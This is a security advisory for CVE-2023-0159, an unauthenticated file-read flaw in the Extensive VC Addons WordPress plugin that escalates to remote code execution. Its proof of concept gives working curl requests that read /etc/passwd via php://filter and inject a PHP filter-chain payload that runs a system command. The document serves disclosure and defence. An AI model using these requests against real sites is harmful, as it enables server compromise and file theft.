Extensive VC Addons for WPBakery page builder < 1.9.1 – Unauthenticated RCE | CVE 2023-0159

Description

The plugin does not validate a parameter passed to the php extract function when loading templates, allowing an unauthenticated attacker to override the template path to read arbitrary files from the hosts file system. This may be escalated to RCE using PHP filter chains.

Thanks to Valentin Lobstein for reporting the escalation to RCE.

Proof of Concept

LFI:

curl 'https://example.com/wp-admin/admin-ajax.php' \
    -d 'action=extensive_vc_init_shortcode_pagination&options[template]=php://filter/convert.base64-encode/resource=/etc/passwd'


RCE:

Using https://github.com/synacktiv/php_filter_chain_generator to generate the filter chain payload.

payload=`php_filter_chain_generator/php_filter_chain_generator.py --chain '<?php system("sleep 5"); ?>' | grep --color=never 'php://filter'`

time curl 'https://example.com/wp-admin/admin-ajax.php' \
    -d 'action=extensive_vc_init_shortcode_pagination&options[template]='$payload